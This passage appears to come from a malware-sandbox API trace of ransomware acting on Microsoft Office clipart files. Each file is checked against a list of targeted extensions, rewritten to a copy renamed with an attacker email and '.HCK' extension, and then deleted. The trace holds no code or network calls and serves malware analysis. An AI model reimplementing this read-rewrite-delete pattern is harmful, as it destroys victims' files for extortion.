Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0157.288] lstrlenW (lpString=".dbf") returned 4 [0157.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0157.288] lstrlenW (lpString=".1cd") returned 4 [0157.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0157.288] lstrlenW (lpString=".jpg") returned 4 [0157.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.288] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.288] lstrlenW (lpString="CUP.WMF") returned 7 [0157.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.288] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2966) returned 1 [0157.288] CloseHandle (hObject=0x37c) returned 1 [0157.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220 [0157.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.289] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.289] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.289] GetLastError () returned 0x0 [0157.289] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xb96, lpOverlapped=0x0) returned 1 [0157.290] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xba0, lpOverlapped=0x0) returned 1 [0157.291] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.291] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe2, lpOverlapped=0x0) returned 1 [0157.291] SetEndOfFile (hFile=0x384) returned 1 [0157.291] CloseHandle (hObject=0x384) returned 1 [0157.292] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.292] SetEndOfFile (hFile=0x37c) returned 1 [0157.293] CloseHandle (hObject=0x37c) returned 1 [0157.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0157.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0157.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0157.391] lstrlenW (lpString=".doc") returned 4 [0157.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.391] lstrlenW (lpString=".docx") returned 5 [0157.391] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0157.391] lstrlenW (lpString=".pdf") returned 4 [0157.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.391] lstrlenW (lpString=".xls") returned 4 [0157.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.391] lstrlenW (lpString=".xlsx") returned 5 [0157.391] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0157.391] lstrlenW (lpString=".ppt") returned 4 [0157.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0157.391] lstrlenW (lpString=".zip") returned 4 [0157.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.391] lstrlenW (lpString=".rar") returned 4 [0157.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.391] lstrlenW (lpString=".bz2") returned 4 [0157.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.391] lstrlenW (lpString=".7z") returned 3 [0157.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0157.391] lstrlenW (lpString=".dbf") returned 4 [0157.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0157.392] lstrlenW (lpString=".1cd") returned 4 [0157.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0157.392] lstrlenW (lpString=".jpg") returned 4 [0157.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0157.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0157.392] lstrlenW (lpString=".doc") returned 4 [0157.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.392] lstrlenW (lpString=".docx") returned 5 [0157.392] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0157.392] lstrlenW (lpString=".pdf") returned 4 [0157.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.392] lstrlenW (lpString=".xls") returned 4 [0157.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.392] lstrlenW (lpString=".xlsx") returned 5 [0157.392] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0157.392] lstrlenW (lpString=".ppt") returned 4 [0157.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0157.392] lstrlenW (lpString=".zip") returned 4 [0157.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.392] lstrlenW (lpString=".rar") returned 4 [0157.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.392] lstrlenW (lpString=".bz2") returned 4 [0157.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.392] lstrlenW (lpString=".7z") returned 3 [0157.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0157.392] lstrlenW (lpString=".dbf") returned 4 [0157.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0157.392] lstrlenW (lpString=".1cd") returned 4 [0157.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0157.392] lstrlenW (lpString=".jpg") returned 4 [0157.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.392] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.392] lstrlenW (lpString="DD00256_.WMF") returned 12 [0157.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0157.626] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2832) returned 1 [0157.626] CloseHandle (hObject=0x390) returned 1 [0157.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220 [0157.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0157.638] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.641] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.654] GetLastError () returned 0x0 [0157.654] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xb10, lpOverlapped=0x0) returned 1 [0157.660] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xb20, lpOverlapped=0x0) returned 1 [0157.661] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.661] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.661] SetEndOfFile (hFile=0x380) returned 1 [0157.661] CloseHandle (hObject=0x380) returned 1 [0157.662] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.662] SetEndOfFile (hFile=0x390) returned 1 [0157.663] CloseHandle (hObject=0x390) returned 1 [0157.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0157.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0157.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0157.663] lstrlenW (lpString=".doc") returned 4 [0157.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.663] lstrlenW (lpString=".docx") returned 5 [0157.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.663] lstrlenW (lpString=".pdf") returned 4 [0157.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.663] lstrlenW (lpString=".xls") returned 4 [0157.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.663] lstrlenW (lpString=".xlsx") returned 5 [0157.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.663] lstrlenW (lpString=".ppt") returned 4 [0157.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0157.663] lstrlenW (lpString=".zip") returned 4 [0157.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.663] lstrlenW (lpString=".rar") returned 4 [0157.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.664] lstrlenW (lpString=".bz2") returned 4 [0157.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.664] lstrlenW (lpString=".7z") returned 3 [0157.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0157.664] lstrlenW (lpString=".dbf") returned 4 [0157.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0157.664] lstrlenW (lpString=".1cd") returned 4 [0157.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0157.664] lstrlenW (lpString=".jpg") returned 4 [0157.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0157.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0157.664] lstrlenW (lpString=".doc") returned 4 [0157.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.664] lstrlenW (lpString=".docx") returned 5 [0157.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.664] lstrlenW (lpString=".pdf") returned 4 [0157.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.664] lstrlenW (lpString=".xls") returned 4 [0157.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.664] lstrlenW (lpString=".xlsx") returned 5 [0157.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.664] lstrlenW (lpString=".ppt") returned 4 [0157.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0157.664] lstrlenW (lpString=".zip") returned 4 [0157.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.664] lstrlenW (lpString=".rar") returned 4 [0157.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.664] lstrlenW (lpString=".bz2") returned 4 [0157.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.664] lstrlenW (lpString=".7z") returned 3 [0157.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0157.664] lstrlenW (lpString=".dbf") returned 4 [0157.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0157.664] lstrlenW (lpString=".1cd") returned 4 [0157.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0157.664] lstrlenW (lpString=".jpg") returned 4 [0157.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.664] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.664] lstrlenW (lpString="DD00687_.WMF") returned 12 [0157.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0157.665] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=20784) returned 1 [0157.665] CloseHandle (hObject=0x390) returned 1 [0157.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0157.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0157.665] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.665] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0157.666] GetLastError () returned 0x0 [0157.666] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x5130, lpOverlapped=0x0) returned 1 [0157.668] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5140, lpOverlapped=0x0) returned 1 [0157.669] ReadFile (in: hFile=0x390, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.669] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.669] SetEndOfFile (hFile=0x380) returned 1 [0157.670] CloseHandle (hObject=0x380) returned 1 [0157.671] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.671] SetEndOfFile (hFile=0x390) returned 1 [0157.671] CloseHandle (hObject=0x390) returned 1 [0157.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0157.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0157.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0157.672] lstrlenW (lpString=".doc") returned 4 [0157.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.672] lstrlenW (lpString=".docx") returned 5 [0157.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.672] lstrlenW (lpString=".pdf") returned 4 [0157.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.672] lstrlenW (lpString=".xls") returned 4 [0157.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.672] lstrlenW (lpString=".xlsx") returned 5 [0157.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.672] lstrlenW (lpString=".ppt") returned 4 [0157.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0157.672] lstrlenW (lpString=".zip") returned 4 [0157.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.672] lstrlenW (lpString=".rar") returned 4 [0157.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.672] lstrlenW (lpString=".bz2") returned 4 [0157.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.672] lstrlenW (lpString=".7z") returned 3 [0157.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0157.672] lstrlenW (lpString=".dbf") returned 4 [0157.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0157.673] lstrlenW (lpString=".1cd") returned 4 [0157.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0157.673] lstrlenW (lpString=".jpg") returned 4 [0157.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0157.673] lstrlenW (lpString=".doc") returned 4 [0157.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.673] lstrlenW (lpString=".docx") returned 5 [0157.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.673] lstrlenW (lpString=".pdf") returned 4 [0157.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.673] lstrlenW (lpString=".xls") returned 4 [0157.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.673] lstrlenW (lpString=".xlsx") returned 5 [0157.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.673] lstrlenW (lpString=".ppt") returned 4 [0157.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0157.673] lstrlenW (lpString=".zip") returned 4 [0157.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.673] lstrlenW (lpString=".rar") returned 4 [0157.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.673] lstrlenW (lpString=".bz2") returned 4 [0157.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.673] lstrlenW (lpString=".7z") returned 3 [0157.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0157.673] lstrlenW (lpString=".dbf") returned 4 [0157.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0157.673] lstrlenW (lpString=".1cd") returned 4 [0157.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0157.673] lstrlenW (lpString=".jpg") returned 4 [0157.673] lstrcmpiW (lpString1=".jpg", 